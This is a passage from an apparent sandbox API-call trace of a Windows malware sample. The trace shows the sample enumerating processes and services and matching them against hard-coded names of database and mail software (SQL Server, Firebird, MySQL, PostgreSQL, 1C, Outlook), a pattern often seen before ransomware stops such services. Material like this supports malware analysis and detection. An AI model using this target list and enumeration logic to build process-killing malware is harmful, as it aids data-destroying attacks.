(lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0143.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0143.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0143.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0143.324] lstrlenW (lpString="ProfSvc") returned 7 [0143.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0143.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0143.324] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0143.324] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0143.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0143.324] lstrlenW (lpString="RpcEptMapper") returned 12 [0143.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0143.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0143.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0143.324] lstrlenW (lpString="RpcSs") returned 5 [0143.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0143.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0143.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0143.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0143.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0143.324] lstrlenW (lpString="SamSs") returned 5 [0143.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0143.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0143.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0143.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0143.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0143.324] lstrlenW (lpString="Schedule") returned 8 [0143.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0143.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0143.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0143.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0143.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0143.324] lstrlenW (lpString="SENS") returned 4 [0143.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0143.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0143.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0143.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0143.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0143.325] lstrlenW (lpString="ShellHWDetection") returned 16 [0143.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.325] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0143.325] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0143.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0143.325] lstrlenW (lpString="Spooler") returned 7 [0143.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0143.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0143.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0143.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0143.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0143.325] lstrlenW (lpString="SysMain") returned 7 [0143.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0143.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0143.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0143.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0143.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0143.325] lstrlenW (lpString="Themes") returned 6 [0143.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0143.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0143.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0143.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0143.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0143.325] lstrlenW (lpString="TrkWks") returned 6 [0143.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0143.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0143.325] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0143.325] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0143.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0143.325] lstrlenW (lpString="UxSms") returned 5 [0143.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0143.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0143.325] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0143.326] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0143.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0143.326] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f0da0 | out: hHeap=0x880000) returned 1 [0143.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0143.327] Process32FirstW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.328] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0143.328] lstrlenW (lpString="System") returned 6 [0143.328] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0143.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0143.328] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0143.328] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0143.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0143.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0143.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0143.328] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0143.329] lstrlenW (lpString="smss.exe") returned 8 [0143.329] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0143.329] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.329] lstrlenW (lpString="csrss.exe") returned 9 [0143.329] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0143.329] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0143.329] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0143.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0143.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0143.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0143.329] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0143.330] lstrlenW (lpString="wininit.exe") returned 11 [0143.330] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0143.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0143.330] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0143.330] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0143.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0143.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0143.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0143.330] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.330] lstrlenW (lpString="csrss.exe") returned 9 [0143.330] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0143.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0143.330] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0143.330] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0143.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0143.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0143.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0143.330] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0143.331] lstrlenW (lpString="winlogon.exe") returned 12 [0143.331] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0143.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0143.331] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0143.331] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0143.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0143.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0143.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0143.331] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0143.331] lstrlenW (lpString="services.exe") returned 12 [0143.331] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0143.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0143.331] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0143.331] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0143.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0143.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0143.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0143.331] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0143.332] lstrlenW (lpString="lsass.exe") returned 9 [0143.332] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0143.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0143.332] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0143.332] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0143.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0143.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0143.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0143.332] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0143.332] lstrlenW (lpString="lsm.exe") returned 7 [0143.332] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0143.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0143.332] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0143.332] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0143.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0143.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0143.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0143.332] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.333] lstrlenW (lpString="svchost.exe") returned 11 [0143.333] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0143.333] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.333] lstrlenW (lpString="svchost.exe") returned 11 [0143.333] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0143.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0143.333] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.334] lstrlenW (lpString="svchost.exe") returned 11 [0143.334] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0143.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0143.334] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0143.334] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0143.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0143.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0143.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0143.334] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.334] lstrlenW (lpString="svchost.exe") returned 11 [0143.334] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.335] lstrlenW (lpString="svchost.exe") returned 11 [0143.335] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0143.335] lstrlenW (lpString="audiodg.exe") returned 11 [0143.335] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.335] lstrlenW (lpString="svchost.exe") returned 11 [0143.335] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0143.336] lstrlenW (lpString="userinit.exe") returned 12 [0143.336] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0143.336] lstrlenW (lpString="explorer.exe") returned 12 [0143.336] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0143.336] lstrlenW (lpString="dwm.exe") returned 7 [0143.336] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.336] lstrlenW (lpString="svchost.exe") returned 11 [0143.337] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0143.337] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0143.337] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0143.337] lstrlenW (lpString="spoolsv.exe") returned 11 [0143.337] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0143.337] lstrlenW (lpString="reader_sl.exe") returned 13 [0143.338] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.338] lstrlenW (lpString="svchost.exe") returned 11 [0143.338] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0143.338] lstrlenW (lpString="taskhost.exe") returned 12 [0143.338] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0143.338] CloseHandle (hObject=0x314) returned 1 [0143.339] Sleep (dwMilliseconds=0x1f4) [0144.185] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293cb8 [0144.209] EnumServicesStatusExW (in: hSCManager=0x4293cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0144.225] GetLastError () returned 0xea [0144.225] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0144.225] EnumServicesStatusExW (in: hSCManager=0x4293cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0144.226] CloseServiceHandle (hSCObject=0x4293cb8) returned 1 [0144.226] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0144.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0144.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0144.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0144.226] lstrlenW (lpString="AudioSrv") returned 8 [0144.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0144.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0144.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0144.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0144.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0144.226] lstrlenW (lpString="BFE") returned 3 [0144.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0144.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0144.226] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0144.226] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0144.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0144.226] lstrlenW (lpString="CryptSvc") returned 8 [0144.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0144.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0144.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0144.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0144.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0144.227] lstrlenW (lpString="CscService") returned 10 [0144.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0144.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0144.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0144.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0144.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0144.227] lstrlenW (lpString="DcomLaunch") returned 10 [0144.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0144.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0144.227] lstrcmpiW (lpString1="sqlserveradhelper", 